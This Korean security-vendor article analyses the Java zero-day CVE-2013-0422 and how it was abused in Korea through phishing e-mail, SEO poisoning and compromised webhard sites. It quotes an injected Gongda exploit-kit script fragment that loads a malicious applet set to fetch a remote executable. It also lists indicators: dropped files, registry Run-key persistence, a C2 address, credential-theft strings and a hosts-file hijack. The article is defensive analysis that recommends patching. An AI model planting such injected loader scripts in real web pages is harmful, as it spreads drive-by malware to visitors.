[Threat Analysis] Java, 제로데이 ‘공습’에 대비하라
국내 웹하드 사이트, 게임핵 악성코드 유포 등에 다수 악용돼
최근 Java 소프트웨어에 대한 미국 내부의 강경한 입장이 전해지고 있다. Java의 보안 취약점이 잇따라 나타나면서 미국 정부가 나서서 프로그램의 사용 중단을 권고한 데 이어, 주요 美 PC 업체들도 웹 브라우저에서 Java 사용을 차단하는 등 강경한 태도에 가세한 것이다. 이런 중에 우리나라에서도 Java의 취약점 경고음이 곳곳에서 울리고 있어 주의가 요구되고 있다.
Java의 제로데이 취약점을 악용한 공격의 전파 속도가 점차 빨라지는 추세다. 해외에서 발견한 지 수시간 만에 국내에 상륙, 급속히 위협의 대상으로 떠오른 것이다.
실제 Java 제로데이 취약점 ‘CVE-2013-0422’는 해외에서 발견된 지 얼마 지나지 않은 지난 2013년 1월 10일 국내에 등장했다.
CVE-2013-0422 취약점의 경우 세계적으로 블랙홀 익스플로이트 킷(Blackhole Exploit Kit), 쿨 익스플로이트 킷(Cool Exploit Kit), 뉴클리어 익스플로이트 킷(Nuclear Exploit Kit) 등 자동화된 도구를 활용해 다양한 형태로 빠르게 전 세계에 확산되고 있었다.
이 가운데 국내에서는 e-mail을 통해 악성 링크의 클릭을 유도하거나 SEO poisoning 기법을 이용해 검색 사이트 상위에 노출해 접근을 유도하는 사례가 발견돼 긴장을 고조시켰다.
[그림 1] Java 취약점을 이용한 악성 e-mail
[그림 1]에서 보듯 악성코드 제작자는 e-mail을 받는 사람에게 출처를 알 수 없는 주소를 전달하고 클릭을 유도했다. 해당 주소는 클릭하면 악성코드가 다운로드되는 악성 URL이다. 해당 악성코드의 자세한 스크립트 내용을 살펴보면 아래 [그림 2]와 같다.
[그림 2] Java 취약점을 이용한 스크립트 코드
이 익스플로이트에 포함된 악성 스크립트에 노출이 되면 PC 시스템 감염이 시작된다. 악성 파일이 감염되는 구조는 [그림 3]을 보면 자세한 파악이 가능하다.

[그림 3] 다운되는 악성 Jar 파일 구조
Java의 CVE-2013-0422 취약점을 악용해 악성코드를 유포하는 사례는 이 외에도 다수 발견됐다.
국내에서 서비스하고 있는 웹하드 업체의 홈페이지를 통해 유포하는 방식이다. 특히 이 경우 사용자의 PC 시스템에 취약점이 존재하면 홈페이지에 접속을 하는 것만으로도 감염이 돼 위험이 컸다.
아래 [그림 4]는 악성 스크립트가 삽입돼 해당 악성코드를 유포하는 데 악용된 웹하드 사이트다.

[그림 4] 악의적인 스크립트가 삽입된 홈페이지

[그림 5] 삽입된 스크립트 중 일부
[그림 5]는 웹하드 사이트에 삽입된 악의적인 스크립트의 내용 중 일부다. 웹하드 사이트에서 악성코드가 유포되는 방식은 공다 익스플로이트 킷(Gongda Exploit Kit)으로 나타난 점이 특징적이다. 공다 익스플로이트 킷의 동작 방식은 아래와 같다.
| gondad.archive="uPlEgy4.jpg"; gondad.code="xml20130422.XML20130422.class"; gondad.setAttribute("xiaomaolv","http://W1.xxx.net/cctv.exe"); gondad.setAttribute("bn","woyouyizhixiaomaolv"); gondad.setAttribute("si","conglaiyebuqi"); gondad.setAttribute("bs","748"); document.body.appendChild(gondad); |
공다 익스플로이트 킷은 웹 익스플로잇 툴킷의 스크립트 악성코드로, Adobe 플래시와 Java 등 일반 애플리케이션의 취약점을 악용해 정보를 탈취하는 방식으로 주로 활용돼 왔다. <월간 안>은 지난해 발행된 5월호에서 공다 익스플로이트 킷의 여러 사례에 대해 자세히 다룬 바 있다.
또한 CVE-2013-0422는 게임핵 악성코드 유포와 Banki류의 악성코드 유포에도 일부 활용됐다. 이 같은 방식에 대한 최종 유포는 실행파일인 아래 파일 유포 지를 기준으로 확인했다.
| W1.******.net/cctv.exe |
이 악성코드가 취약점을 통해 실행이 되면 아래와 같은 파일이 생성된다.
| C:\WINDOWS\temp\cct.exe C:\WINDOWS\temp\host.exe |
또 아래와 같이 시스템 재시작 시에도 실행될 수 있도록 레지스트리에 값을 등록한다.
| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\360寮땡렝徒 "C:WINDOWS\SHELLNEW\sever.exe" HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default) "C:\WINDOWS\temp\cct.exe" |
Sever.exe 파일의 경우 실제 생성되는 것이 확인되지는 않았으며 cct.exe 파일은 실행이 되면서 아래의 서버에 접속을 시도했다.
| 121.***.***.204:14465 |
해당 파일 내부에는 DialParamsUID, PhoneNumber, Device 등의 정보를 탈취할 것으로 보이는 일부 문자열 정보가 확인됐다. 문자열 정보는 아래 [그림 6]과 같다.
| Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk Microsoft\Network\Connections\pbk\rasphone.pbk |

[그림 6] 문자열 정보
이와 더불어 함께 생성·실행되는 host.exe 파일에 의해 감염 시스템의 hosts 파일이 변조된다.

[그림 7] 변조된 hosts 파일
이 분석 자료를 작성하며 재확인할 당시에는 관련 사이트로 연결이 이뤄지지 않았다. 그러나 hosts 파일이 변조된 것에서 유추해 볼 때, 일부 금융권 사이트에 접속할 시 사용자의 금융 정보를 탈취할 목적의 악의적인 피싱 페이지로의 연결을 시도한 것으로 보인다.
이처럼 갖가지 방법으로 공격에 활용된 Java취약점 CVE-2013-0422는 이미 Java에서 보안 업데이트를 제공하고 있다. 보안 업데이트만으로 악성코드 감염을 예방할 수 있으므로, 반드시 보안 업데이트를 적용해 안전하게 PC를 사용하도록 하자.
[보안 업데이트]
Http://www.java.com/ko/

[그림 8] Java 홈페이지 내 보안 업데이트 창
- AhnLabASEC대응팀